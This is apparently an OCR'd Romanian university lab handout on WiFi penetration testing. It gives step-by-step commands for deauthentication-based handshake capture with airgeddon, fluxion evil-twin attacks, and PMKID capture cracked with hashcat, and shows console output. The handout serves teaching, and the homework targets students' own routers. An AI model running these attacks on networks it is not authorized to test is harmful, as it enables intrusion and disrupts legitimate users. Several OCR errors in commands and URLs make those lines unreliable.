Laboratorul numarul 6
Analiza retele WiFi

in general pentest-ul la nivelul unei retele WiFi cu o securitate medie (de tip utilizator) este
destul de simplu. Totusi exista o serie de aspecte care trebuie urmarite pentru a putea utiliza
instrumentele existentela ora actuala.

in primul rand trebuie avut grijd ca chipset-ul utilizat de producitor si suporte activarea
modul de monitorizare. Fara aceste testele de penetrare nu pot fi realizate.

De aceea trebuie avut grija ca sa verificati de fiecare data ca modelul contine un chipset cu
aceste abilitati. Mai mult trebuie sa fiti atenti la faptul ca exista situatii in care pentru acelasi
nume de produs diferind doar versiunea producatorul sa schimbe chipset-ul. Avand in vedere
lipsa de experienta care nu va permite sa modificati manual sursele furnizate de catre unii
producatori pentru driverul de linux este recomandat ca sa mai verificati suplimentar daca
distributia de pentest (KALI, ARHLINUX, PARROT) are suport nativ pentru respectivul chipset
sau chiar pentru respectivul model. Tn cazul in care sunteti pe un Linux clasic trebuie facut3
aceeasi verificare.

Din punct de vedere al chipsetului (care se poate gasi si in alte adaptoare se recomanda:
® USB ID 148f:7601 Ralink Technology, Corp. MT7601U Wireless Adapter

USB ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter

USB ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter

USB ID Obda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter

USB ID Obda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps

Mai jos sunt prezentate o serie de adaptoare utilizate de mine in pentest si care se gasesc si
pe piata locala.

1. Adaptor ASUS USB Nano Wireless-N150

2. Adaptor TPLINK USB Wireless Dual Band 300 - Archer T4U v3
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3. Adaptor wireless TP-LINK TL-WN722N, v2 - USB 2.0

4. ALFA - awus s036h

Tn general adaptoarele Intel din laptop-uri si cele produse de Alfa sunt cam toate compatibile,
TPlink-ul este mizerabil ca suport - probleme cu recompilarea si adaptarea driverelor pentru a
utiliza toate abilitatile in linux (pe win nop)

Alte posibile adaptoare (netestate de mosu):

TENDA W311U+
LOGILINK WL0151
ALLNET ALL-WAO150N
Panda PAUO9 148f:5572

Mai trebuie mentionat cd pentru a acoperi toate situatiile specifice pentest-ului wifi va
trebuie macar un adaptor care sa asigure o conexiune la net (acasa merge utp la laptopt si
wifi-ul integrat daca ai noroc plus inca unul care sa suporte si el monitorizare). Ideal este ca sa
ai trei adaptoare si fiecare sa suporte modul monitor.

Acum presupunand ca studentul are macar minimalul de hardware adica o placa de net si una
care suportda monitorizare wifi putem trece la analiza catorva instrumente utilizate n
pentest-ul wifi.


https://www.emag.ro/adaptor-wireless-tp-link-usb-2-0-tl-wn722n/pd/E8RV7BBBM/
https://www.google.com/search?client=firefox-b-e&biw=1257&bih=854&tbm=isch&sa=1&ei=i53KXYKbO4XDwAKX-o6oDg&q=tl-wn722n&oq=tl-wn722n&gs_l=img.3..0l7j0i30l3.342500.352021..352418...1.0..0.206.976.8j1j1......0....1..gws-wiz-img.......0i67.JAzb8e__od4&ved=0ahUKEwjCjOTTzuTlAhWFIVAKHRe9A-UQ4dUDCAY&uact=5
https://www.google.com/search?client=firefox-b-e&biw=1257&bih=854&tbm=isch&sa=1&ei=i53KXYKbO4XDwAKX-o6oDg&q=tl-wn722n&oq=tl-wn722n&gs_l=img.3..0l7j0i30l3.342500.352021..352418...1.0..0.206.976.8j1j1......0....1..gws-wiz-img.......0i67.JAzb8e__od4&ved=0ahUKEwjCjOTTzuTlAhWFIVAKHRe9A-UQ4dUDCAY&uact=5

Testele prezentate in acest laborator au fost efectuate pe Parrot ultima distributie mentinut
la zi cu noutatile.

Vom incepe cu un script pentru bebelusi care automatizeaza cam tot si anume Airgeddon.
Acesta se gaseste la https://github.com/v1s1t0rlsh3r3/airgeddon

Tnainte de a-l instala nu stricd s& mai instaldm si alte instrumente. Primul este amicul beef care
se gaseste la https://github.com/beefproject/beef

Se da un git clone si install si apoi lansezi to ce este executabil din director

Daca update crapa la curb...
sudo apt install libcurl4 libcurl3-gnutls libcurl4-openssl-dev

sudo gem install curb --source 'https://rubygems.org/'

Trebuie modificat in config.yaml
La user macar parola implicita (bula in cazul meu)

Instalati si ccze (apt etc)

Apoi lansati scriptul din directorul clonat (cu sudo of course)

(debi il are si in biblioteca dar la tool-uri de astea prefer ultima versiune)

Va cere sa mai instaleze cate ceva, lasati-I!

Apoi selectati din lista placa de retea care suporta modurile extinse.

Aceasta trebuie trecuta in modul de monitorizare.

Apoi se intra in tool-uri pentru handshake (cu 6) si apoi se exploreaza dupa victime cu 4

2l Exploring for targets (as
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https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/beefproject/beef

n cazul de test este reteaua lula2019 (ruter bun numai pentru asa ceva deoarece nu mai are
bios nou din 2007).
Dupa ce se opreste scanarea cu Ctrl+C se va afisa o lista din care se vai alege numarul victimei
Apoi scriptul furnizeaza din nou detalii

- Terminal - bugs@Ilula: ~/airgeddon = 2

File Edit View Terminal Tabs Help

wlanBmon Monitor
06 .
1
lula2019
WPA

Select an option from menu:

Return to main menu

Select another network interface

Put interface in monitor mode

Put interface in managed mode

Explore for targets (monitor mode needed)

Capture Handshake
Clean/optimize Handshake file
Obtaining a Handshake is only for networks with encryption WPA or WPA2

> []

Se va Tncépe captura de handshake

Apoi se trece la deconectarea fortata a clientului din retea (deja aici intri in ilegalitate rau)
il Capturing Handshake (as superuser)

CH HE ENC CIPHER AUTH ESSID
1 G54, WPA TKIP lul:

PR Rate Lost Frames Probe

Mai sus aveti un exemplu de incercari

Evident ca de multe ori nu o nimereste si da eroare iar procesul trebuie reluat crescand astfel
riscul interceptarii acestei comunicatii NEAUTORIZATE de catre admin sau mai rau de catre
vreun organ legal care se plimba pe acolo.

Dupa capturare se intra in menu-ul de wpa/wpa2 decript offline

Aici se gasesc optiunile de brute force sau atac bazat pe dictionar

Acum devine clar de ce trebuie ssid ascuns si lungimi mari de ssid si parola wifi

Daca nu merge se poate Tncerca cu evil twin atac dar ... il deconecteaza si i cere parola de wifi
din nou in draci la utilizatorul legitim ceea ce este extrem de riscant.

Apoi vine fluxion

git clone https://qgithub.com/wi-fi-analyzer/fluxion.git
Instalezi php-cgi

Apoi fluxion.sh

Acesta are cam aceleasi optiuni


https://github.com/wi-fi-analyzer/fluxion.git

Noul stil

Dupa cum am observat abordarile vechi presupuneau deconectarea clientului autorizat de la
retea ceea ce este suficient ca sa atraga atentia unui administrator care si-a facut harta cu
calitatea semnalului in fiecare zona din subordine (scifi pt Romania). Ca sa nu mai spunem ca
intra Tn categoria de atac DOS care legal e buba mare.

intre timp s-au dezvoltat si abordari mai putin intruzive. Una dintre ele este cea bazatd pe
MITM adica in acest caz interceptarea comunicatiei intre client si ruter si extragerea parolei
pe baza analizei pachetelor respective.

Un exemplu este cel bazat pe utilizarea hcxtools si hashcat. Este similar cu utilizarea
Besside-ng dar are avantajul ca poate fi executat si pe un rasberry Pi controlat prin ssh (aici
este pacaleala - pentru ca imi dezvalui locatia daca nu sunt expert)

Din trafic se vor analiza zonele de handshake WPA si hash-urile de PMKID.

Dupa capturarea unui PMKID hash-ul va fi incarcat in hashcat sau orice aplicatie similara
pentru a incerca spargerea parolei.

Avand in vedere ca exista si versiunea care foloseste NVIDIA ca accelerator inseamna ca un
om cu un laptop bun poate sparge rapid o retea cu o buna probabilitate. Pentru a efectua
atacul pentru gasirea parolei se va converti intai fisierul PCAPPNG intr-o forma inteligibila
pentru hashcat.

Avem deja configurat un AWUS sau o placa mai putin vizibild (vezi la Tnceputul laboratorului)
Mai intai verificam existenta celor doua tool-uri

apt-cache search hashcat
apt-cache search hcxdumptool

Apoi incerc un start de airmon-ng. Mai jos este prezentata o situatie din Parrot

airmon-ng start wlan0

Found 4 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name

579 avahi-daemon
585 NetworkManager
589 wpa_supplicant
618 avahi-daemon

PHY Interface Driver Chipset
phy0  wixxxxxxxxxxx  rtl8187 Realtek Semiconductor Corp. RTL8187

Deci trebuie lansat
airmon-ng check kill

Killing these processes:
PID Name



589 wpa_supplicant
8426 avahi-daemon
8427 avahi-daemon

Si reluam procesul
airmon-ng start wlan0O

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
8920 avahi-daemon
8921 avahi-daemon

PHY Interface  Driver Chipset

phy0  wlIx00cOcab5e868  rtl8187 Realtek Semiconductor Corp. RTL8187

Deoarece se pare ca nu reusim sa le terminam cu comanda recomandata trecem la abordari
mai dure

systemctl disable avahi-daemon.socket

systemctl disable avahi-daemon.service

Si reboot

Acum reincercam
airmon-ng start wlan0

Eventual mai reluam procesul. Mai simplu este ca la iesire din primul script sa lasam placa in
mod de monitorizare.

Pentru reactivare avahi la boot

systemctl enable avahi-daemon.socket

systemctl enable avahi-daemon.service

Captura de pachete cu hcxdump tool in fisierul pcapng din traficul de pe interfata wifi pusa in
mod de monitorizare sub numele de wlanOmon

sudo hexdumptool -o test.pcapng -i wlanOmon --enable_status=1

Apoi decodam datele primare cu ajuotul lui hcxcaptool in fisierul tinta test.16800

hcxpcaptool -z test.16800 test.pcapng

Mai jos este un raport consola a analizei respective



summary capture file:

file name.............c..........: test.pcapng

file type..........c.ecc.u.......s pcapng 1.0

file hardware information........: x86_64

capture device vendor information: 00cOca

file os information..............: Linux 5.3.0-1parrot1-amd64
file application information.....: hcxdumptool 5.1.7
network type...................... DLT_IEEE802_11 RADIO (127)
endianness.......................: little endian

read errors......................: flawless

minimum time stamp...............: 11.11.2019 08:42:05 (GMT)
maximum time stamp...............: 11.11.2019 08:42:34 (GMT)
packets inside...................: 199

skipped packets (damaged)........: 0

packets with GPS data............: 0

packets with FCS.................: 191

beacons (total)..................: 30

beacons (WPS info inside)........: 1

probe requests.................... 6

probe responses..........c.cceeul 2

association requests.............: 3

association responses............: 1

reassociation responses..........: 5

authentications (OPEN SYSTEM)....: 74
authentications (BROADCOM).......: 9

EAPOL packets (total)............: 30

EAPOL packets (WPA2).............: 30

PMKIDs (not zeroed - total)......: 4

PMKIDS (WPA2)....oceveveeeeenns 5

PMKIDs from access points........: 4

EAP packets........ccccuunnnnnit 46
found.............ccuuueee..... EAP type ID

best handshakes (total)..........: 3 (ap-less: 2)
best PMKIDs (total)..............: 4

summary output file(s):

4 PMKID(s) written to test.16800

Evident ca daca lasati mai mult timp sau scanati o singura retea mai mult timp vor fi mai multe
date pentru atacul prin forta bruta

Putina bucatarie: sa punem bibliotecile opencl pentru inntel. Se presupune ca ati instalat deja
firmware de i915 sub linux.

Instalati pachetele conform instructiunilor intel de la
https://github.com/intel/compute-runtime/releases



https://github.com/intel/compute-runtime/releases

Adica

wget
https://github.com/intel/compute-runtime/releases/download/19.43.14583/intel-gmmlib_19.
3.2_amd64.deb

wget
https://github.com/intel/compute-runtime/releases/download/19.43.14583/intel-igc-core_1.
0.2714.1_amd64.deb

wget
https://github.com/intel/compute-runtime/releases/download/19.43.14583/intel-igc-opencl_
1.0.2714.1_amd64.deb

wget
https://github.com/intel/compute-runtime/releases/download/19.43.14583/intel-opencl_19.
43.14583 amd64.deb

wget
https://github.com/intel/compute-runtime/releases/download/19.43.14583/intel-ocloc_19.4
3.14583 amd64.deb

wget https://github.com/intel/compute-runtime/releases/download/19.43.14583/ww43.sum
sha256sum -c ww43.sum

dpkg -i *.deb

Minimal se mai poate instala si cu:
apt-get install ocl-icd-libopencl1 opencl-headers clinfo

Si verifica cu clinfo ce si cum:

Daca aveti la PlatformVendor The pocl project

Nu este in regula, trebuie sa fie NVIDIA Platform Vendor, in acest caz stergeti toate driverele
(inclusiv cele open source ones gen mesa/pocl etc) si instalati driver de la  nvidia.com.

Acum se poate utiliza hascat pentru a incerca spargerea cu modul hash 16800 (deci se poate
incerca si altceva daca nu este administrator next-next si are alte rutere/configurari)

hashcat -m 16800 test.16800 -a 3 -w 3 "?1?1?1?1?1?1tV

Daca totusi behaie dati-ii cu --force la coada
Apoi cu s mai puteti inspecta status curent

Session..........: hashcat

Status...........: Aborted (Checkpoint)

Hash.Type......... WPA-PMKID-PBKDF2

Hash.Target......: test.16800

Time.Started......: Mon Nov 11 11:33:35 2019 (2 mins, 50 secs)
Time.Estimated...: Wed Nov 13 18:17:35 2019 (2 days, 6 hours)

Guess.Mask.......: 21?1?1?1?1?1t! [8]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1568 H/s (80.30ms) @ Accel:1024 Loops:256 Thr:1 Vec:4

Recovered........: 0/4 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 266240/308915776 (0.09%)



Rejected.........: 0/266240 (0.00%)
Restore.Point....: 10240/11881376 (0.09%)

Ca observatie pentru a nu merge peste tot cu analiza cand stim exact ce urmarim putem
utiliza urmatoarele optiuni pentru hcxpcaptool

® -E pentru a obtine posibile parole din traficul de wifi(lista va include si ESSID-urile)

® | pentru a obtine identitatea celor implicati in trafic

® -U pentru a obtine numele de utilizatori din traficul de wifi

Apoi aceste fisiere suplimentare pot fi utilizate in hash cat. De ex
./hcxpcaptool -E essidlist -1 identitylist -U usernamelist -z test.16800 test.pcapng

Din acest laborator se poate trage o concluzie clara fara identitati personalizate pentru fiecare
user cu certificate si un server de RADIUS nu se poate garanta o minima securitate la nivelul
unei retele wifi.

Avantajul evident al metodei este ca stati si beti o cafea - culegeti trafic si apoi acasa pe un
calc puternic puteti face praf codarea.

Tema de la laborator

Daca aveti pe laptop wifi intel care suporta de obicei mode de monitorizare sau ati cumparat
si addugat o placa wifi pe usb care suporta acest mod atunci puteti incerca sa analizati un
ruter aflat la dispozitie (pentru a doua conexiune vedeti voi cum va descurcati

Tema pe acasa: Daca placa WIFI nu suportda mod monitorizare cumparati-va una din cele
mentionate Tn laborator. Apoi atacati-va ruterele personale pe toate partile si cu toate
tool-urile despre care am discutat. Evident puteti incerca si alte instrumente sau abordari
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